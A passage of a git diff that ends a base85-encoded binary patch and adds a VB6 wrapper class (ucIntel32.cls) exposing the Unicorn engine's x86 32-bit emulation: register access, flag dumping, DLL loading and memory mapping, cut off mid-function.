zER1UgKA(>4j|Txt;{1E%!owGbita037m4HnG3?RLL+d|dXzu|}_ji0Mfpv`QYg3Yd z(F1G*q98(tFe@RyZo*6!r8sq8C5wh?j37s|``a*WPG2q8DAY_xMm7V&xGPx+Ps0R_ zLkoxe>zmF@KD-0+qn74!YO=k`9Ka@z0ZL&2xaUY;ztA??;l3S3ao{nJrSj{MeDcca z{F$OM!wTF}lNUJgh$srYC3DhbETzK99euCk@naC2ue5NedI+2aZ}yM2xh+`{PkqBP zJ4wntT`De~x<QLX4;&d#{U;$S^DbE!cI%MBSY0PRAjT#Z;OhSzPW^*m|3AM}=ZhdP zPz_HsWnQWUhr9U-2LvxFh08#H!(g!RS5r1rG`10&aMhd?gRO;sGpjkZnaEdvqw(<5 zG%rV36pui;q~Y!waCuvvqmSBN>)0|Yc}K-f-*K!vubWlZxx<|tPI<Bt7f<A2oCmaA z;Ue=K7Kz-J6sl#qu**nUPbF1IZ;qDs2^ewPFQ4GyQ2IAoy+zIDfdq-yNR8un+~Omw zy1tragH8tIl@F30@0rV}5sGtjg~cP^BFGVg$L*BtaeqJFGQ!?%c&o5<#(tfQ$SjcZ zP~>;r3YMQs!q3_LU<^<x^auxyDPq8J)q42b^Ze<^4XiyjSwx>OV>E?3!J-zh^%-3& z$`Qf&+!8rS;uSVFcdTAG@hYcI($`b)5~_595S0l2f)Eun(yZgKT-BK%iDx3$cj2fV zznCawJsV4tpQ?ib={&et&j=tw;mcC!27J>YVxxr$EdvHB!SAnEW~mEF6iqEHZy-hv z{BDGHd3m2Wt-t8HoFV_7z+7g;Mwp}uS7y*mfp4M<Y|dYJbri;BsPA3vq;_z%?2h|n z6-IvX{mdzBUpjH~HP9_!gyw`qldy9#(=d?3?&D_5<~xc=mhSY;-|$tW<Hw+pk78}7 z`y-ZvkRSKKqlZ8RJjh8P0ycVFMK~Ab8Nck<66Yuy;E`3nnlFUbCjYPqy0-L){*q2H z+8IPH<Ig}(5|P=A1To-$;L;4uW5gH<S7#^4A6atX(_!m*A^j*q@^TLI7X*cuPA-yR zSB#a83`s!x)8i#iy<3BzFMq9?gw;<hUGEq^JUqN-cx*vH0mlGl08*rwUn}L4qu(O! zd8yz1C=thTY6Hp9I)5uuNjPDH3BJU3n80YxkVJri<$c-E<EO$mRsSrULq4`z8aeA& z8X4H5Y?M~Uct83$-M%w8n+2;Kk&met>E5kAKKCT6dN}>#_(1sSL>M~biI+VN)M~tW zppWR@d_d!y@EJUH!!;_aYv5rL(`C`BdTlQTk;ie3`FG<4|7>bPYB<p;oI+7v;WovG z)nOau2w^3iTiLxaR4`C>_m`A{5<t`=ivjYs0w7UgK)!wWmRXws(>SV#yZWKap%5YP zL810{@MOSNGXVR5iGr{X#%E9^{p&1s$x&o+iqrQMzh>syqfEtW#%e;a$&OYkK=5Sq z-7IGeu%ToBrW-xB5qBJOpG}%+S$vMzt{bM0RfPfy+aBeUgm4vye^@x)!=n%xm+!P8 zU;u_7Obde>Pk?`mHiz7b9I@UmpJ{mlb;ADqnZQq*kLUw{{0y*uNN4!KD~Pu_%TNHT zw|%+(44CJ0Aki?w53^ryMT!;T_{@RE9r~Ti^(6mOE;StOgd`Nue`vEYh2s}(SyY4{ zK5?jES4IHRY^hnLz;#1#bUD8MI5#ue1aw5wE6PxYTckVM_(e|v`H5lhrTfWRjR9W= z-Fxnbb~d&#)I#daIMyYLv&j+UUcFQz2B<mt3<RF<1Hq%v*Wqoh9)=~RF{vk0@0WBf z5NE_TozkseM(48EG0xR)&iiu|N~a*nd}uSfTHZdkIPlVTTsAbZ|NW<6wITfqa$|`q z&r^c;Q`MI6juZyeO`3yEYK3eM3)OZXvG6;iz~!#OwzF#ZJ+fZ3$~VefFKqm=QAN?+ z0UDDvG%a0JfGt1mZu%E?%<nug83AS$rk`<SLl-yZnfVmui#3&WwpCZJnJetT!}~t` zr4$;0!Xzh32UfL8nF^PFQ{R7Jw;kpNpJrB+qn)-?7$&SUB})``kO-|~L)$7j?Q#8_ zND$hI@0Bz!-L!Lt!sw>23htAH$FF1Z(GvlM8ZlPV%B<46`v(hj^2QtarxqflQ-VBh zPM_}rrV6{k<~b1{$`%oA+8`*E0*30S4@K9zkf~+L>Jw6n_UGwz@Qa|At?tMr7J)KH z$wZ}{lmx7m>NY0EdjFV)w!2`#=3X3;U?)r-qGB>TeH=xA8$oC<(jutj|JM!<pP5K~ z>QHzT4@2eSc;2z$$Q4gFKVJSRDXuF=Y;KOWK<J0}Eo2x!*H5NJ^%#pJZi!`4++w@A zP+|Bx8AHnB7Qmae!64w#kHq{iAR+J#uHkU#gfv|pu=6Nm?;h*DA387LcW4&)t1877 z>DPv!-R|3>4nrRooam%{7$%}o-#SRbPqjL{rW!FJtqX4P%V;138;*YR!=^y82iM#x zcto+!UsqY|qixxmA5sCpU$<oRRt}}}E|cBZJhtps3!P3rV@WUepopH_eFB~h>MjtY zuvV{0ITN_mQY-zg`0qcNAgJ345tS0Gr4FfArY+pDF(}8-&hXbePJ6t!-$Ft$7O0X$ z)5)icydyhDl94@Y8_PUa<vOQ5z!N>9T3#N)bwId4Yq;R>OQD)EPVA1^`-A}sy%oNI zfwq{lVf0rGx9kWCzXw=sN0IYqI1Rii8mRA+xbG^zro_{55CAGKpJxb0kMyT2vs7_5 z$2wuYT>iBdUIfR;q4pqv%r(xi;!>vWD~DmR_H1cGl@!`a3)ng(8siJgwmbTv#{9#y z9ulv9?d4A+)SoJv1^8+wC$>_8Sz0;6ZTTB+-?nmeGu}5#c((}b3yhgO3$z!LG=COT z>tn>H{1d)ZQBEFx@Yuv$U;@6*A)Ru&RiOJ?s1S$<YW2;=<5RQUgTihqtV;=?q>THW z$btx4j)8y3bxXZ0)9k15pDFHW`gC8kyk`o^xYQ36!@dQNUH)AP20!u9j`?x>c7g32 z$HLdZt9m1e?WTKQ3eO$BE|O7oMRuKXtU_cMsZlJZeJz8o^D;dv*O0Jo*l=0$SRYH) zMjF%g-<ZPv(+D8~Pmr4FKL~X4Y1C$*n1A@L6TeyDdA;-DK2<VQQSE}DrGZ9*U>)R$ zUj0Z2V`x1q$;D%c(H!(`O+p0{)fD}0vB(#J#o}{sMn_bddrcX+u>J?AM#^>gIq!iX zx#MlPJA5Px6-wle$K0yGu}5S!mNFQsQ*vXKPcc3rBiksvCjhO{h3+~PV*5V?t8qUS z|EW>1lc*RZ{QRdWg764Pq1);0>Y2mpg4h9M<PGOgJsat6^IjgDgDFx0D!?|8s8wAM zKj52PNnCyg%*CIML69T{16^C3BB>HIS9-Y|FE64)slXnKy{CWgNahB-y`r9*fVe?t z8C~cAMsnou9Qon_R43t#mNquTfLVW7xMRW4{wj0<U2%^hJvT<H=0T<_jsByKum;C~ z7j@Z60eP<`8YbR%l^6Su668E9UfbC!6^#<#%&Lga=s+6}@xepgsXO51SJ>?kYMbj4 zy@+4u%K6PemHYVwpEm~|tBJ+Z-sCb}rTPVa=5Dmxg-P&v{Z%&eJ7;(^UnJyAnisBZ znOWLoKXXPm#ZDffez_Q@_(YlhYv2p}WkCA9nXrS<5v1SxlVDA+xIkr+-L{MLK^0{S z1T*70jb3Fd#NLlbBR9rlq{*4Dj92rgj=YPvpcNsyVZK-OF2ZBs)0?p_Vmq0L(E#-w z!H?PRrwAjNWtONLoNHDLYDu{IX({SqwjZm$r;3?!OLvp`c8^mxKFU_IN)>-&mxw)c z!y9dazWEW#^lg*NuO=i29<0`nxfLy`ac$4U#U*`yMK{9$iF_<W;U<(EI6Pb}dKzR# z^C`Z<faAl<yQr_8^SR3um0O?XmTUf|K$mp8bsII@#x%q3oHxor=E^0<RuZ8nA3n{9 z#ViFasYnO2FY7+7O?l*m!tSM!{EXIw#95DC`UAVM<3b$!+og81cU(DmDpM+z#ak|H zqqk!}$(p!)?@A%2xOFE#hK0g1YJbh+O}O#7()U?eS(?HFZSGj93=b4|`DGqqu&3T( zP}<~X%9ixczbPx%tEzOxm(4?NeJV6BO|SlDhJkS8-EP(7F7j}^xfYGSh>qpv-3Ls) z7s8!P5W@fLMAB7f+Z20<6THnuLs3Pd7N8XOAT_CiCiE}Mp(yhLS^)%E?2M65UN9J0 zmXk56^-3&S*$E3&f8K!6Nwin3CB|E!3<ssmyFI;B`1<nIZfjYE2MU{2y|xM&!*YpR z_z?qz*MRt*D2Z2+#W)fnx&hhYVPXT9e_UYB_+?jm1qy8o(jr#D7lLE3bsR}UjxU!2 zHuBpS_EOW()ym3jGc5c<-gAl6KYAbea%kNMYdlotOkLTAxmD_{a8q)MnV9xv=dD~^ zam}}iLKy|*u}@Qor_S7;JtIh^%9}v9eX%3<?8n?^?<%ES#`1-}v!`6BOndg_rdECk zPQk<7^V@PgG;Zm&O=YgHJM7oSl(##`X0)O0A|_C!i3(cx8tD5qEgy+0c2=Wv4iaz) zAGTG@mKM4%t?N3pv~v=wzh7xw7*6yx{YI*EC;3rP|9Hzik6Y#TxmAxl7Y1vds=POf zY0PWoMWbW6BWx6jvY`Dr_w^lCyQ(4On<Z**125{C<BC6Ui&eI~r-$e-{)e;+fUaL4 zJm}S*tmXEMRBX5{LUlJZfZ@U5Nn1D~PwftpT_qMLy~=05Tgafjp95{bRm>vLlN#c_ z?IG?-%DM6|{}*T{OcFUdf|2c|E%8QF-P7-o{~w3EeKgMi*b_oio)$)_8#3^iOZqNJ zBAtW~wEOnhL7PfLWNlDd4qj|v6Zs1|mx-sNrqAOgtFVW~U66E|yF%5C=cPOV;<5BD zw%(;PxXjta#Dh3x7Uz@PFzwm-FBljeh?BQrEIx1PCj_O-lG}`BVoUGFT9K!9cUwc^ z9i$(Dz_q$NazN($dGeyWEHzH^H*mVSGVV?u+kIU86NLRrp{McECsdZoGy}%utX$$K zFz_<!p3WY+CO#FNE{!l%Vxn!rsbY*H;sdGjgoAsFeS~9&o(=2_*c{B^C}L&Ttk9mV zYSHK|;^ceIU(rRj?0Kc~MuhtPB)OAST*}8spYsY>?Y^DcNC@a5|A9Q(8$6;qZO`H< ze5etRIdb3<bw$qF*gmbYXBgHVGT*nDdc*z9hAySL!!;xGrrX~l-q9<IJD-~#@wmH9 zv)q*MWA!uV*^rmi-{;{EkxOjQMIc{#+=IiWnJyf)eF4fITruI^tJ2=2-Lvo_?04hw z*f7p4^K6Az*No~@809TlKAlrYDNBN<k?xrt-Wf?Q$fg#q#XKL_7w(@h`;60p#{ZW8 zA>pj*VY+ETvLt`RMA79QyC;>?FXyRf7o7RkDH5soKLu7x3CngS<vv;(X>?{)$QUr2 z3MRqcWc1RI@ug9dCz&KqcgzwYf8srqeqTPAE^zgdtAa>s_12sP`4Hp9<#APJV=^As zgt0C8Lb0vPb|hxkz%jefnfDBA<@USk!~=|=Y1ND({40LVUBc33`wEnkk`%@h$1N;* zF!a_Z{J1D%os1b!wbnsa_+7eKSxii%QR?2Dck(@plB|#OPn%@Ac?PGXloPnMJbzYN z{PZV5S>MaslEf1tQtJT%mC6#dxF)!0BKMY+&GV@g3@*FPP0mHI8cs=AXB$-LwDjQY zt`KYKy!Er{h>5#1i)-A#drN&PG%onWF|0U|j*nVS2rGAZ_*Iz&hfO23mS(Qvq6|!q zY>|QMp2_QURl30<ve0Rq!sX8T8FyyKP19ICwJSR68`xZY(94w`9b;q5WX<dg4My8H zlDXIqH$=22%LSxS^hNcu4|E+LUi$I=)78fIZ<khm2l^W?1e7+mp<>;hKI0PPAiKSH ziQR?7)B3=<7O4@Lm$7~o{+aviGXMC8H1OxCD%hrt<pvHYIhAiBL~@_Yen5$*LB#hw z+{`6I<xYCK3wyk-yWgAG?H(0#y`+%L*YeL(GIop1XD=LdwkgVfkso)NzZw>ti}O<b zJK=s5<>Y#HQE(nrmJ8!vw!PSyw~2eE85>H&YQo8aUt$f&13r;m(Q}D7Vc>945It>a zT@x4{a3>cUZYY(3<2K~Lfxn43gCr3+fZPzMDb~-Sci^U=sSB1?$%o>iwRZ11es>?e z#H8yMLjj3};cS9dHT;t<i^zczmhB?=0J`9Mn_G!v->3PgwdCKV%TWnHiF4o)!Zss{ zLBsLBur^;pedvM&yVds|$!p_?mp+LT10+Gok#sqRCG40W3~>Gl&$zAM>yoj{vK=J} zkAus=f4*d&4T4sB+~)0B%8(XYQ5MbAUA@wItIi1VDuEkA6l8*c6}Tl%iO4o2%`?Ae zl5-F;<{w)`?+%VG5jik(H9ucV^Y~jLt@U4z-axR(9>-=JSdR0EV_QIR!m2VSMwTin zP4vix!S#}_t=jV!rEa5FdBl8uW}hf>#>vxN-}8l)DOh1n60#Xa&~{}DN{LY<OAd<; z&_C%#FBzd<e5c`4C|IAnwt;f-!C8GA8%nF2?{}OokG8tG(JZ_j12*E}r*t?c(%1`o z#2Gh;_O&E5>MsALch)Eher9`c8F1bT;SYt)tU-YT|H97ACQzYkIjP~20=B;f4^&Y= zr3WwiP&4PO){s(VmSn{16APC<6e(!$uO?;)>AtcyB><Jak@r8%KR_<A|0r-Yx9wTs zGdO-PO59V$z0D2=sSVZztEH!7Ic&BwUG4Plf<_3hf-t;I5(x(o*1o;S*yvjb?^VK& z8%oT@3&{T)a_48c6XH~t$um;zPHv@16QQDQAv0LCxHMl|#NCBSr%$!1oiN|z$-jBi z_T;Of*Eu+aEIlmEmq)xa-#(}sF7r+P+r85HwO9XO<xdEVpDD}#Y)R2S6j%KFONbB( zNk&HI*}F0B!s)9V?&vZ9u(qZB8Eu%zfSi7ni_Q|*OC3oqoT5jgYd9^3vqL`_*hiQ5 zFMa<&u62F}LBK?R#Ja`^8o2vKG&{{p28Pkcrh<!a%2~6XrKA1Z-y$0}A7#l1aX7@T zt@SV!422Y&)x=E^D(O2XCStSLQyrcDFjY8xv5)BwV*5C;fy8hU-o7}>tD=KCzxCM& z`k>UVv$D&bfr7<x(?NNLJ19heD%L3}g@fZhCVw3Wv5nG_78EV2O0CFK26sBF%`L!r z>F5@SIH}B|v=k0bD4F^t{mLOXRJ{mEx6iUB4{-HP!^7BnpR`sIryc6rJAJGt`tlA? zyzv!02nBEs6hI&d>JC5<dJQ>y*6~!y?;#fl_^Q5HQ8nbU(FD_j>s>DcUw}S%k@^yR z%0`l)(%cqDetgcSXK55IHz@IGKFoh8{*8t|X_cRZ&8=zBXcyd*nV0r{M7ToKDj|7; z^1|Qk%+I9KF`M>ZqM#3i`9LbhfWC?wxoh|Q*(DlIp4bsC1Tece4?MN}dM$+=RN5aO zZ`I>)Utkj-^Hy2&Y?@Fxz}Av}otT*61~M<*-^{qE?V7o6<WcUYI@jHf2hmRrXjO2u z&T!Lmo7F|{+NGXBod>{`wY&_NLn&%NsH1xwdOAJ{?z#@yJD+_zOe}MyzS#GYyv4_! zyauO6H~5TQ5@4^P@0Eylk=qb-l^*-Yp?)H2jV(DU9<OWLs32uMMXU|xC~VEzJjZ(f z!Py4zbwPh9eVG;<spnU*!58kN@RJ|<nPx-qr*I@16r5*vcQ~J=KB57n@C(3`dJ$s! z95^4eJfxTOV&MHosd1m3Zsw3H5zW*T%(?mc?P2AY)-C`%UtIu4U_fZ#T&6ZjTg*p; z>-bac2OQz3HtnlyFdHYQsPAR^3*SE8zdh4Mv<wFHU|^D>&H!PB&mn<B#z+C55XN#I z-D(F~yz^sK;frw&XveqEvH9V+1HL^byXm<0oY3n)_&2Z1a{00r*8W*n#P-C`RASRV z)lu}bks;H?D>`Tx8+%-f)4}4*_H`-wbV}sce1#!IE3h26w-<MTr-cG!J`^OF`cQFe zqM|MtkoeFVD1ZMq?eBp{XIPL2h%wTBFdFD)A!Gx^;o!K>k%}F}p=sy{Eo!5cQL+=i z!yPNCs(aL=Qr9(_$m(@|1+JXX-(vgqUDrVTZ*t`)%>#xfQF16}0~!Digh3skmjNLQ z&FYtud|5;9kR7=CBk&yV)t{O9qY4)S9T6=uKkE8EPB4TwEP%|KI@Qa97X5$Hv;Tj8 z;7%ZZA!yw=4`EjkUE8x^#YP`hniG3(?U#=Y?WTQY@Mf1Ew|E52<suvdghI7~^Wt;~ z<vLb*Py^*<T<+ZVCG!##pVk~<M21+;fl2+}H|YF*+s=RJ)1bS2n7=j^c?AV%7U>Ug z2$~Ga@1$WWFK9z}NHYQUjUE?xp`tDCv}y=I3F#bnomh1~5~NRb0wxgQa8o5meX4(A zoC!o8qzmmbBbFo$biLprgAljK+(&Zw*0hx*tv?x*{C?Us(6&y(ltMiiY0d-z6X1I= z#DPX%FPflxD^Po=w%|YuW4&g*2M3VEM{q#N>5jSZ$0lGzhyxb4|IHDJ2w(t|EXedX zz_Q~L%*8Mwy+Csm!M5y+SWWvfmOjW<5QK`y<^=ePl>VA=u*gEAI*5l#4|1teF*hmf zp0@6u#Dk_liN;v*NuKeCZiY8%<93n{ID7T-b(={g4#*Org+GnJ4_$i$uaFGKQYAQY zb1tnu11^+^SV2Sq2tD-eZ~{dj1WAv+9<oi%Qg=XtksuOVzfW_-X1aF<eDgopO!L3f zq%(s!0uh|}`DN2Tjq$T;i=#YKz4y*MTB=FeIS8^rl#Ue}fmh_11`}|bybEqkOvGa# z&!lt<d{}&RS&9*GAn1mxjO^s`Y}HSV{hV!FkaEUCF`?#s5^&aBBtQ#@e9`7XM6swH z!i@coIpFed&p#MTL&yQ4mjOY?$7e9#idU$XoUwrXhw94^r_KRymLBpoDc|AB5~IEb h%Nqe#ngv;#p~NqIs76BATi`t;FRgs7=qk+Te*u|O>(>AP literal 0 HcmV?d00001 diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/ucIntel32.cls b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/ucIntel32.cls new file mode 100644 index 0000000..b54186f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/ucIntel32.cls @@ -0,0 +1,927 @@ +VERSION 1.0 CLASS +BEGIN + MultiUse = -1 'True + Persistable = 0 'NotPersistable + DataBindingBehavior = 0 'vbNone + DataSourceBehavior = 0 'vbNone + MTSTransactionMode = 0 'NotAnMTSObject +END +Attribute VB_Name = "ucIntel32" +Attribute VB_GlobalNameSpace = False +Attribute VB_Creatable = True +Attribute VB_PredeclaredId = False +Attribute VB_Exposed = False +Option Explicit + +'Unicorn Engine x86 32bit wrapper class for vb6 + +'Contributed by: FireEye FLARE team +'Author: David Zimmer <david.zimmer@fireeye.com>, <dzzie@yahoo.com> +'License: Apache + +'we hide the extra labor of x64 conversion from the user. I could simplify +'this at the C shim layer but I might write an x64 class later +' +'since the vb long type only natively supports signed math, I have also handed off a couple +'calculations in this class to a C stub just to be safe. +' +'you can find a full unsigned and x64 safe library for vb6 here: +' https://github.com/dzzie/libs/tree/master/vb6_utypes + +Public hLib As Long +Public uc As Long +Public errMsg As String +Public Version As String +Public major As Long +Public minor As Long + +Private r32 As Variant +Private r16 As Variant +Private r8 As Variant +Private rs_ As Variant +Private rs_Name As Variant +Private r32_Name As Variant +Private r16_Name As Variant +Private r8_Name As Variant +Private hooks As New Collection +Private m_DisasmOk As Boolean + +Event CodeHook(ByVal address As Long, ByVal size As Long) +Event BlockHook(ByVal address As Long, ByVal size As Long) +Event MemAccess(ByVal t As uc_mem_type, ByVal address As Long, ByVal size As Long, ByVal value As Long) +Event InvalidMem(ByVal t As uc_mem_type, ByVal address As Long, ByVal size As Long, ByVal value As Long, ByRef continue As Boolean) +Event Interrupt(ByVal intno As Long) + +'our vb enum is 0 based then mapped to the real C values so we can loop them to dump with name lookup +'these sub enums also keep the intellisense lists short and focused when reading/writing vals +'they are accessed through reg32, reg16, reg8, rs properties, or use raw full enum through reg property +'the names of each can be looked up through the reg32n etc properties +Public Enum reg_32 + eax_r = 0 + ecx_r = 1 + edx_r = 2 + ebx_r = 3 + esp_r = 4 + ebp_r = 5 + esi_r = 6 + edi_r = 7 +End Enum + +Public Enum reg_16 + ax_r = 0 + cx_r = 1 + dx_r = 2 + bx_r = 3 + sp_r = 4 + bp_r = 5 + si_r = 6 + di_r = 7 +End Enum + +Public Enum reg_8 + ah_r = 0 + ch_r = 1 + dh_r = 2 + bh_r = 3 + al_r = 4 + cl_r = 5 + dl_r = 6 + bl_r = 7 +End Enum + +Public Enum reg_Special + CS_r = 0 + DS_r = 1 + ES_r = 2 + FS_r = 3 + GS_r = 4 + SS_r = 5 + IDTR_r = 6 + GDTR_r = 7 + LDTR_r = 8 +End Enum + +Property Get DisasmAvail() As Boolean + DisasmAvail = m_DisasmOk +End Property + +Property Get lastError() As Long + lastError = ucs_errno(uc) +End Property + +Property Get hadErr() As Boolean + If Len(errMsg) > 0 Then hadErr = True +End Property + +Property Get eip() As Long + Dim e As uc_err, value As Long + e = ucs_reg_read(uc, UC_X86_REG_EIP, value) + eip = value +End Property + +Property Let eip(v As Long) + Dim e As uc_err + e = ucs_reg_write(uc, UC_X86_REG_EIP, v) +End Property + +Property Get eflags() As Long + Dim e As uc_err, value As Long + e = ucs_reg_read(uc, UC_X86_REG_EFLAGS, value) + eflags = value +End Property + +Property Let eflags(v As Long) + Dim e As uc_err + e = ucs_reg_write(uc, UC_X86_REG_EFLAGS, v) +End Property + + +'full access to all registers if you need it.. +Property Get reg(r As uc_x86_reg) As Long + Dim e As uc_err, value As Long + e = ucs_reg_read(uc, r, value) + reg = value +End Property + +Property Let reg(r As uc_x86_reg, value As Long) + Dim e As uc_err + e = ucs_reg_write(uc, r, value) +End Property + +'32 bit registers +Property Get reg32(r As reg_32) As Long + Dim e As uc_err, value As Long + If r < 0 Or r > UBound(r32) Then Exit Property + e = ucs_reg_read(uc, r32(r), value) + reg32 = value +End Property + +Property Let reg32(r As reg_32, value As Long) + Dim e As uc_err + If r < 0 Or r > UBound(r32) Then Exit Property + e = ucs_reg_write(uc, r32(r), value) +End Property + +'16 bit registers +Property Get reg16(r As reg_16) As Long + Dim e As uc_err, value As Long + If r < 0 Or r > UBound(r16) Then Exit Property + e = ucs_reg_read(uc, r16(r), value) + reg16 = CInt(value) +End Property + +Property Let reg16(r As reg_16, ByVal value As Long) + Dim e As uc_err + value = value And &HFFFF + If r < 0 Or r > UBound(r16) Then Exit Property + e = ucs_reg_write(uc, r16(r), value) +End Property + +'8 bit registers +Property Get reg8(r As reg_8) As Long + Dim e As uc_err, value As Long + If r < 0 Or r > UBound(r8) Then Exit Property + e = ucs_reg_read(uc, r8(r), value) + reg8 = value +End Property + +Property Let reg8(r As reg_8, ByVal value As Long) + Dim e As uc_err + value = value And &HFF + If r < 0 Or r > UBound(r8) Then Exit Property + e = ucs_reg_write(uc, r8(r), value) +End Property + +'special registers +Property Get rs(r As reg_Special) As Long + Dim e As uc_err, value As Long + If r < 0 Or r > UBound(rs_) Then Exit Property + e = ucs_reg_read(uc, rs_(r), value) + rs = value +End Property + +Property Let rs(r As reg_Special, ByVal value As Long) + Dim e As uc_err + If r < 0 Or r > UBound(rs_) Then Exit Property + e = ucs_reg_write(uc, rs_(r), value) +End Property + + +'reg index to name translation for looping +Property Get reg32n(r As reg_32) As String + If r < 0 Or r > UBound(r32_Name) Then Exit Property + reg32n = r32_Name(r) +End Property + +Property Get reg16n(r As reg_16) As String + If r < 0 Or r > UBound(r16_Name) Then Exit Property + reg16n = r16_Name(r) +End Property + +Property Get reg8n(r As reg_8) As String + If r < 0 Or r > UBound(r8_Name) Then Exit Property + reg8n = r8_Name(r) +End Property + +Property Get rsn(r As reg_Special) As String + If r < 0 Or r > UBound(rs_Name) Then Exit Property + rsn = rs_Name(r) +End Property + +Function regDump(Optional includeState As Boolean = True) As String + Dim i As Long + Dim tmp As String + + For i = 0 To UBound(r32) + tmp = tmp & reg32n(i) & "=" & Hex(reg32(i)) & " " + 'if i mod 3 = 0 and i <> 0 then tmp = tmp & vbcrlf + Next + + regDump = tmp + + If includeState Then + regDump = regDump & "eip=" & Hex(Me.eip) & " " & dumpFlags() + End If + +End Function + +Function dumpFlags() As String + + Dim ret() As String + Dim n As Variant + Dim i As Long + Dim flags As Long + + 'http://www.c-jump.com/CIS77/ASM/Instructions/I77_0050_eflags.htm + n = Array("C ", 0, "P ", 0, "A ", 0, "Z ", "S ", _ + "T ", "I ", "D ", "O ", "IOPL ", "IOPL ", "NT ", 0, _ + "RF ", "VM ", "AC ", "VIF ", "VIP ", "ID ", 0) + + flags = Me.eflags + push ret, "EFL " & Hex(flags) + + For i = 0 To 21 + If flags And ULong(1, i, op_lsh) Then + If n(i) <> 0 Then push ret, n(i) + End If + Next + + dumpFlags = Join(ret, " ") + + +End Function + +Private Sub Class_Initialize() + + Dim e As uc_err + + 'mapping our simplified to real values.. + r32 = Array(UC_X86_REG_EAX, UC_X86_REG_ECX, UC_X86_REG_EDX, UC_X86_REG_EBX, UC_X86_REG_ESP, UC_X86_REG_EBP, UC_X86_REG_ESI, UC_X86_REG_EDI) + r32_Name = Array("eax", "ecx", "edx", "ebx", "esp", "ebp", "esi", "edi") + + r16 = Array(UC_X86_REG_AX, UC_X86_REG_CX, UC_X86_REG_DX, UC_X86_REG_BX, UC_X86_REG_SP, UC_X86_REG_BP, UC_X86_REG_SI, UC_X86_REG_DI) + r16_Name = Array("ax", "cx", "dx", "bx", "sp", "bp", "si", "di") + + r8 = Array(UC_X86_REG_AH, UC_X86_REG_CH, UC_X86_REG_DH, UC_X86_REG_BH, UC_X86_REG_AL, UC_X86_REG_CL, UC_X86_REG_DL, UC_X86_REG_Bl) + r8_Name = Array("ah", "ch", "dh", "bh", "al", "cl", "dl", "bl") + + rs_ = Array(UC_X86_REG_CS, UC_X86_REG_DS, UC_X86_REG_ES, UC_X86_REG_FS, UC_X86_REG_GS, UC_X86_REG_SS, UC_X86_REG_IDTR, UC_X86_REG_GDTR, UC_X86_REG_LDTR) + rs_Name = Array("cs", "ds", "es", "fs", "gs", "ss", "idtr", "gdtr", "ldtr") + + 'just to ensure IDE finds the dll before we try to use it... + Const dllName As String = "ucvbshim.dll" + + If Len(UNICORN_PATH) = 0 Then + UNICORN_PATH = vbNullString + ElseIf FolderExists(UNICORN_PATH) Then + UNICORN_PATH = UNICORN_PATH & IIf(Right(UNICORN_PATH, 1) = "\", "", "\") & "unicorn.dll" + End If + + If hLib = 0 Then + hLib = GetModuleHandle(dllName) + If hLib = 0 Then + hLib = LoadLibrary(GetParentFolder(UNICORN_PATH) & "\" & dllName) + If hLib = 0 Then + hLib = LoadLibrary(dllName) + If hLib = 0 Then + errMsg = "Could not load " & dllName + Exit Sub + End If + End If + End If + End If + + If DYNLOAD = 0 Then + DYNLOAD = ucs_dynload(UNICORN_PATH) + If DYNLOAD = 0 Then + errMsg = "Dynamic Loading of unicorn.dll failed " & IIf(Len(UNICORN_PATH) > 0, "path: " & UNICORN_PATH, "") + Exit Sub + End If + End If + + ucs_version major, minor + Version = major & "." & minor + + If ucs_arch_supported(UC_ARCH_X86) <> 1 Then + errMsg = "UC_ARCH_X86 not supported" + Exit Sub + End If + + e = ucs_open(UC_ARCH_X86, UC_MODE_32, uc) + If e <> uc_err_ok Then + errMsg = "Failed to create new x86 32bit engine instance " & err2str(e) + Exit Sub + End If + + If GetProcAddress(hLib, "disasm_addr") <> 0 Then m_DisasmOk = True + + instances.Add Me, "objptr:" & ObjPtr(Me) + +End Sub + +Private Sub Class_Terminate() + If uc = 0 Then Exit Sub + stopEmu + ucs_close uc + On Error Resume Next + instances.Remove "objptr:" & ObjPtr(Me) +End Sub + +Function mapMem(address As Long, size As Long, Optional protection As uc_prot = UC_PROT_ALL) As Boolean + + Dim addr As Currency + Dim e As uc_err + + errMsg = Empty + addr = lng2Cur(address) + + e = ucs_mem_map(uc, addr, size, protection) + + If e <> uc_err_ok Then + errMsg = err2str(e) + Exit Function + End If + + mapMem = True + +End Function + +'address and size must be 4kb aligned, real buffer must be at least of size, and not go out of scope! +Function mapMemPtr(ByRef b() As Byte, address As Long, size As Long, Optional protection As uc_prot = UC_PROT_ALL) As Boolean + + Dim addr As Currency + Dim e As uc_err + + errMsg = Empty + addr = lng2Cur(address) + + If UBound(b) < size Then + errMsg = "Buffer is < size" + Exit Function + End If + + If size Mod &H1000 <> 0 Then + errMsg = "Size must be 4kb aligned" + Exit Function + End If + + If address Mod &H1000 <> 0 Then + errMsg = "address must be 4kb aligned" + Exit Function + End If + + e = ucs_mem_map_ptr(uc, addr, size, protection, VarPtr(b(0))) + + If e <> uc_err_ok Then + errMsg = err2str(e) + Exit Function + End If + + mapMemPtr = True + +End Function + +Function findAlloc(address As Long, Optional inRange As Boolean = False) As CMemRegion + Dim m As CMemRegion + Dim found As Boolean + + For Each m In getMemMap() + If inRange Then + If ULong(address, m.address, op_gteq) = 1 And ULong(address, m.address, op_lteq) = 1 Then found = True + Else + If m.address = address Then found = True + End If + If found Then + Set findAlloc = m + Exit Function + End If + Next +End Function + +'we could accept a variant here instead of CMemRegion +'if typename(v) = "Long" then enum regions and find cmem, else expect CMemRegion.. +'would be convient.. or a findAlloc(base as long) as CMemRegion +Function changePermissions(m As CMemRegion, newProt As uc_prot) + Dim e As uc_err + Dim addr64 As Currency + + errMsg = Empty + + If m Is Nothing Then Exit Function + + If newProt = m.perm Then + changePermissions = True + Exit Function + End If + + addr64 = lng2Cur(m.address) + + e = ucs_mem_protect(uc, addr64, m.size, newProt) + + If e <> uc_err_ok Then + errMsg = err2str(e) + Exit Function + End If + + m.perm = newProt + changePermissions = True + +End Function + + +Function unMapMem(base As Long) As Boolean + + Dim m As CMemRegion + Dim e As uc_err + Dim addr64 As Currency + + errMsg = Empty + addr64 = lng2Cur(base) + + For Each m In getMemMap() + If m.address = base Then + e = ucs_mem_unmap(uc, addr64, m.size) + unMapMem = (e = uc_err_ok) + If Not unMapMem Then errMsg = err2str(e) + Exit Function + End If + Next + +End Function + +'this function maps and writes (note 32bit only right now) +Function writeBlock(address As Long, buf() As Byte, Optional perm As uc_prot = UC_PROT_ALL) As Boolean + + Dim addr As Currency + Dim e As uc_err + + addr = 